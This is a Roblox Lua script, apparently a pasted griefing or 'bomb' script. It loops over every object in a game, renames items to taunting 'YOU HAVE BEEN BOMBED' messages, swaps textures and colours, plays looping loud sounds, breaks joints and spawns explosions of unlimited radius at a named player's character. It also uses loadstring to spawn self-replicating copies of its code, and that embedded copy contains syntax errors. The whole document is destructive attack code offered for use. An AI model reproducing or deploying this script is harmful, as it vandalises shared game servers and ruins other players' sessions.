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- function GetRecursiveChildren(Part, Children)
- for _, Part in pairs(Part:GetChildren()) do
- pcall(function()
- table.insert(Children, Part)
- GetRecursiveChildren(Part, Children)
- end)
- end
- return Children
- end
- local foack = {
- "Bomb Fucked. AHHAHAHAHAHAHA",
- "YOU HAVE BEEN BOMBED! AHHAHAHAHAHAHAAAAA!",
- "AHHAHAHAHAHAHAAAAAAHHAHAHAHA",
- "AHAHHAHAHAHAHAHAAAAAAHHAHAHA YOU HAVE BEEN BOMBED! HAHAHAHAHAHAHAAAAAAHHAHAHAHA",
- "YOU HAVE BEEN BOMBED!YOU HAVE BEEN BOMBED!YOU HAVE BEEN BOMBED!YOU HAVE BEEN BOMBED!YOU HAVE BEEN BOMBED!",
- "Mama always told you to stay inside for your own safety and you did not listen, and see what happend now. YOU HAVE BEEN BOMBED!"
- }
- Textures = {
- "http://www.roblox.com/asset/?id=141855744",
- "http://www.roblox.com/Asset/?id=141855744",
- "http://www.roblox.com/Asset/?id=141855744",
- "http://www.roblox.com/Asset/?id=141855744",
- "http://www.roblox.com/Asset/?id=141855744",
- "http://www.roblox.com/Asset/?id=141855744",
- "http://www.roblox.com/Asset/?id=141855744",
- "http://www.roblox.com/Asset/?id=141855744",
- "http://www.roblox.com/Asset/?id=141855744"
- }
- Instance.new("Sky", game:GetService("Lighting")).CelestialBodiesShown = false
- Instance.new("Message", Workspace)
- Instance.new("Hint", Workspace)
- while true do
- for _, Part in pairs(GetRecursiveChildren(game, {})) do
- pcall(function()
- if not Part:IsA("Player")then
- pcall(function() Part.Name = foack[math.random(1, #foack)] end)
- pcall(function() Part.Text = foack[math.random(1, #foack)] end)
- pcall(function() Part.Image = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.TextureId = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.Texture = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.ShirtTemplate = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.PantsTemplate = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.Graphic = Textures[math.random(1, #Textures)] end)
- pcall(function() Part.Color = Color3.new(math.random(), math.random(), math.random()) end)
- pcall(function() Part.Color3 = Color3.new(math.random(), math.random(), math.random()) end)
- pcall(function()
- Part.SkyboxUp = Textures[math.random(1, #Textures)]
- Part.SkyboxDn = Textures[math.random(1, #Textures)]
- Part.SkyboxLf = Textures[math.random(1, #Textures)]
- Part.SkyboxRt = Textures[math.random(1, #Textures)]
- Part.SkyboxFt = Textures[math.random(1, #Textures)]
- Part.SkyboxBk = Textures[math.random(1, #Textures)]
- end)
- pcall(function()
- Part.TextColor3 = Color3.new(math.random(), math.random(), math.random())
- Part.BackgroundColor3 = Color3.new(math.random(), math.random(), math.random())
- Part.BorderColor3 = Color3.new(math.random(), math.random(), math.random())
- end)
- pcall(function()
- Part.Pitch = math.random() * -5
- Part.Volume = 10
- Part.Looped = true
- Part:Play()
- end)
- pcall(function()
- if math.random(1, 25) == 1 then Part.Anchored = false end
- if Part.Anchored == false then
- Part.Velocity = Vector3.new(math.random(-44, 44), math.random(0, 50), math.random(-150, 150))
- Part.RotVelocity = Vector3.new(math.random(-444, 444), math.random(-11500, 11500), math.random(-150, 1500))
- end
- Part.Locked = false
- Part.BrickColor = BrickColor.random()
- Part.TopSurface = "Weld"
- Part.BottomSurface = "Weld"
- Part.FrontSurface = "Weld"
- Part.BackSurface = "Weld"
- Part.LeftSurface = "Weld"
- Part.RightSurface = "Weld"
- Part:BreakJoints()
- Instance.new("Message", Workspace)
- local Ex = Instance.new("Explosion", workspace)
- Ex.BlastRadius = math.huge
- Ex.BlastPressure = math.huge
- Ex.DestroyJointRadiusPercent = math.huge
- Ex.Position = game.Forbidden_Phoenix.Character.Torso.Position
- SS = Instance.new("Script", script)
- code = Instance.new("StringValue", SS)
- code.Name = "Code"
- code.Value = "function GetRecursiveChildren(Part, Children) for _, Part in pairs(Part:GetChildren()) do pcall(function() table.insert(Children, Part) GetRecursiveChildren(Part, Children end) end return Children end) Instance.new('Sky', game:GetService('Lighting')).CelestialBodiesShown = false Instance.new('Message', Workspace) Instance.new('Hint', Workspace) while true do for _, Part in pairs(GetRecursiveChildren(game, {})) do pcall(function() if not Part:IsA('Player')then SS = Instance.new('Script', script) code = Instance.new('StringValue', SS) code.Name = 'Code' code.Value = 'print('while true do wait(0.000000000000000000000000000000000000000000000000000001) script.Parent.Parent.Disabled = false script.Disabled = false end')' loadstring(code.Value)() pcall(function() Part.Color = Color3.new(math.random(), math.random(), math.random()) end) pcall(function() Part.Color3 = Color3.new(math.random(), math.random(), math.random()) end) pcall(function() Part.TextColor3 = Color3.new(math.random(), math.random(), math.random()) Part.BackgroundColor3 = Color3.new(math.random(), math.random(), math.random()) Part.BorderColor3 = Color3.new(math.random(), math.random(), math.random()) end) pcall(function() Part.Pitch = math.random() * -5 Part.Volume = 10 Part.Looped = true Part:Play() end) pcall(function() if math.random(1, 25) == 1 then Part.Anchored = false end if Part.Anchored == false then Part.Velocity = Vector3.new(math.random(-44, 44), math.random(0, 50), math.random(-150, 150)) Part.RotVelocity = Vector3.new(math.random(-444, 444), math.random(-11500, 11500), math.random(-150, 1500)) end Part.Locked = false Part.BrickColor = BrickColor.random() Part.TopSurface = 'Weld' Part.BottomSurface = 'Weld' Part.FrontSurface = 'Weld' Part.BackSurface = 'Weld' Part.LeftSurface = 'Weld' Part.RightSurface = 'Weld' Part:BreakJoints() local Ex = Instance.new('Explosion', workspace) Ex.BlastRadius = math.huge Ex.BlastPressure = math.huge Ex.DestroyJointRadiusPercent = math.huge Ex.Position = game.Forbidden_Phoenix.Character.Torso.Position end) end end) if math.random(1, 150) == 1 then wait() end end end s.Parent = game.workspace"
- loadstring(code.Value)()
- end)
- end
- end)
- if math.random(1, 150) == 1 then wait() end
- end
- end
- s.Parent = game.workspace
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